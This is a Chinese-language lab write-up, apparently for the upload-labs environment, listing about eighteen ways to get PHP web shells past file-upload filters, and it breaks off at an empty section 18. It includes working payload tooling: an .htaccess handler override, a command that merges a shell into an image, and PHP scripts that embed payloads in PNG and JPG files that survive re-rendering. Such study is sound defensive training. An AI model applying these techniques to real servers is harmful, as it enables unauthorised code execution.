文件上传漏洞及绕过
文件上传的目的:上传代码文件让服务器执行(个人理解)。
文件上传的绕过脑图
一.js本地验证绕过
原理:本地的js,F12查看源代码发现是本地的验证
绕过姿势
1.因为属于本地的代码可以尝试修改,然后选择php文件发现上传成功。
2.采用burpsuite,先将文件的名称修改为jpg或png或gif,然后上传,burpsuite拦截将文件类型修改如图,发现能够上传成功
。
二.MIME验证绕过(Content-Type)
原理:Content-Type(MediaType),即是Internet Media Type,互联网媒体类型,也叫做MIME类型。在互联网中有成百上千中不同的数据类型,HTTP在传输数据对象时会为他们打上称为MIME的数据格式标签,用于区分数据类型。最初MIME是用于电子邮件系统的,后来HTTP也采用了这一方案。在HTTP协议消息头中,使用Content-Type来表示请求和响应中的媒体类型信息。它用来告诉服务端如何处理请求的数据,以及告诉客户端(一般是浏览器)如何解析响应的数据,比如显示图片,解析并展示html等等。
使用burpsuite拦截分别为jpg和php类型观察Content-Type发现Content-Type不同.
拓展:
破解方法:
在burpsuite中更改Content-Type进行绕过即可
三.黑名单绕过
原理:查看网站源代码发现过滤了asp,aspx,php,jsp,但其他的文件后缀可以上传,如phtml,phps,php5,pht
绕过姿势:将文件后缀名改为php5,phtml等,发现能够上传成功,此次没用过滤htaccess文件可以尝试上传。
拓展:此破解方案需要Apache的httpd.conf有如下配置
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
关于AddType指令
作用:在给定的文件拓展名与特定的内容类型之间建立映射(简单来说就是让phtml,phps,php5,pht等文件后缀的安装php代码来执行,个人理解)
语法:AddType MIME-type extension [extension] ...
AddType指令在给定的文件扩展名与特定的内容类型之间建立映射关系。MIME-type指明了包含extension扩展名的文件的媒体类型。
AddType 是与类型表相关的,描述的是扩展名与文件类型之间的关系。
四..htaccess绕过
原理:.htaccess文件(或者"分布式配置文件")提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用与此目录及其所有的子目录。
简单来说:就是htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置
他的功能:网页301重定向,自定义404错误页面,改变文件拓展名(此处所用),允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能iis平台上不存在该文件,改文件默认开启,启用和关闭在httpd.conf文件中配置。
破解:构造.htaccess文件,文件内容,如图
<FilesMatch "2.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
然后上传.htaccess文件和2.jpg的木马发现2.jpg被安装php代码执行然后用蚁剑连接,发现可以连接成功,如图
个人理解:通过对.htaccess的禁止目录列表理解运用给自己加了一个保护自己,防止开启phpstudy,其他人访问。
五.大小写绕过
原理:查看网站源代码发现没有过滤大小写,而windows对大小写不敏感,linux对大小写敏感
破解:修改文件拓展名称为大写,或者用burpsuiet抓包改为大写,发现上传成功,木马可以连接成功
六.空格绕过
原理:windows等系统下,文件后缀加空格命名之后是默认自动删除空格。查看网站源代码发现过滤了大小写,没用过滤空格。
绕过姿势:上传php文件用burpsuite抓包,添加一个空发现上传成功。用蚁剑连接发现可以连接成功。如下图
七.点的绕过
原理:同空格绕过原理一样,主要原因是windows等系统默认删除文件后缀的.和空格,查看网站源码发现,没有过滤点。
绕过姿势:上传php代码,burpsuite抓包加一个点,发现上传成功,用蚁剑连接发现连接成功。
八.::$DATA绕过(此绕过只适用windows)
原理:php在windows的适合,如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名,目的就是不检查后最名。查看网站源代码。发现没有过滤::$DATA。
破解:上传php文件,用burpsuite抓吧文件后缀改为php::$DATA,发现上传成功,用蚁剑链接,发现连接成功,同时打开上传文件发现后缀没有::$DATA
九.点空格绕过
原理:查看源码发现,都过滤但是,点和空格只是过滤了1次,所以我们可以尝试构造.php. .这样就只是过滤了文件末尾的点
而没有过滤第一个点,文件后缀变成了.php.实现了文件的上传。
绕过姿势:上传php文件,burpsuite抓包改文件后缀名称为.php. .上传,发现上传成功,用蚁剑连接发现上传成功。
十.双写绕过
原理:查看源码发现,没有过滤点,空格,大写等,估计这种不是放在windows下的,这里可以用点大写空格:$DATA等绕过,不过这里的目的不是这个,是让学习双写绕过,看源码发现str_ireplace这个函数将php,php5,php4等后缀变成空格,且只执行了一次,所以可以尝试构造文件后缀为pphphp绕过。
绕过姿势:上传文件后缀为pphphp的文件,发现上传成功,然后蚁剑连接就可以了,发现可以连接成功。
十一.%00截断
原理:查看源码发现使用了白名单,只允许jpg,png,gif文件的上传,所以前面使用的方法都不适用,然后我们发现路径img_path函数是让文件位置(save_path)加时间随机数(rand)的方法生成文件位置和文件名称,所以这里我们可以尝试在save_path的地方使用%00的方法截断后面的语句,burpsuite抓包发现,是可以更改save_path的,不过此方法有使用的限制。
使用限制:
1、php版本小于5.3.4
2、php.ini的magic_quotes_gpc为OFF状态
(magic_quotes_gpc)函数的的底层实现是类似c语言,所以可以%00截断
绕过姿势:
(get传输):上传php文件,burpsuite抓包,修改save_path如图所示,发现上传成功,使用蚁剑连接发现连接成功。
(post传输):post传输和get传输差不多,不过需要转一下码如图,然后发送发现上传成功。
十二.图片木马
查看源码:采用白名单限制上传的只能是图片,故考虑图片木马。
图片木马的制作:
1. windows下cmd命名 Copy 1.jpg/b+shell.php/a shell.jpg
2.右键图片选择属性,详细信息,版权处加入木马,如图
3.16进制文本编译器
上传图片木马:上传成功后采用文件包含即可
十三.图马 getimagesize()
查看源码:
getimagesize()函数:
用于取得图像大小,如果指定的图像或其不是有效的图像,getimagesize()将返回false并产生一条E_WARNING级的错误
Image_type_to_extension()
用于取得图像类型的文件后缀
绕过方法: 上传图马木马即可
十四.图马 exif_imagetype()
查看源码:
exif_imagetype()函数:
用于判断一个图像的类型,正常则返回签名对应常量,否则返回false
绕过方法:上传图片木马即可
十五.图马 二次渲染
查看源码 对gif的过滤部分:发现gif图片被二次渲染
尝试上传gif(带有木马),并将上传
gif绕过:找到渲染前后没有变化的位置,然后将php木马写入即可,下载上传后的gif,发现木马上传成功
查看源码:对png的过滤部分 发现被二次渲染
尝试上传带有一句话木马的png图片,上传下载发现木马被渲染掉
绕过方法:
1.写入php代码到PLTE模块
PLTE模块:调色板PLTE数据块是辅助数据快,对于索引图像,调试板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。
PLTE模块是辅助模块并不是每个png图片都有的,多找几个png图片
然后计算PLTE数据块的CRC
import binascii
import re
png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)
''' PLTE crc '''
data = '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)
运行结果写入CRC模块
然后上传即可;注:CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。储存用来检测是否有错误的循环冗余码。参考https://xz.aliyun.com/t/2657
2.写入IDAT数据块
国外大佬脚本直接用
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
运行脚本生成1.png,发现木马被写入
上传利用:文件包含
图片原理:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
木马原理:assert()会检查内部是否是字符串,如果是字符串,它将会被assert()当做php代码执行
查看源码 对jpg的过滤部分 发现对jpg图片进行二次渲染
绕过姿势:先随便上传一个1.jpg图片到服务器,将上传后的图片下载,用国外大佬脚本处理一下(并不是所有图片都能被脚本处理插入木马多试几个)
处理cmd命令:php 脚本名.php 1.jpg(需要安装php环境)
脚本被我改一下,发现大佬脚本不能用
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?php phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
十六.条件竞争
查看源码:发现上传的文件先被存储在服务器,然后进行判断,如果不是jpg png gif 则unlik()删掉,是的话重命名
绕过姿势:在判断删除前,进行访问,竞争时间
shell.php 如下,当然也可写其他木马或者生成木马的php文件,上传用burpsuite抓包,当然可以写脚本
绕后构造访问连接:http://127.0.0.1/upload-labs-master/upload/shell.php 用burpsuite抓包发送和上传一起开始 如何不行可以尝试线程调大点,或者写脚本
类似的也是先保存再重命名同样可以竞争 源码
十七../绕过
查看源码:
绕过姿势:
Pathinfo()会返回一个关联数组含有path的信息。例如:
save_name=1.php/.这样file_ext值为空绕过黑名单,而move_uploaded_file函数忽略文件后的./就可以实现保存文件为shell.php
注:网上看有用 save_name=1.php%00绕过的,虽然能上传成功但是保存的文件名是1.php%00你是没法利用的,看看原因好像是move_uploaded_file函数把save_name当做字符串来用的(目前感觉这个方法不行,可能操作有误)
十八.数组+./绕过
查看源码:分析如图
绕过姿势: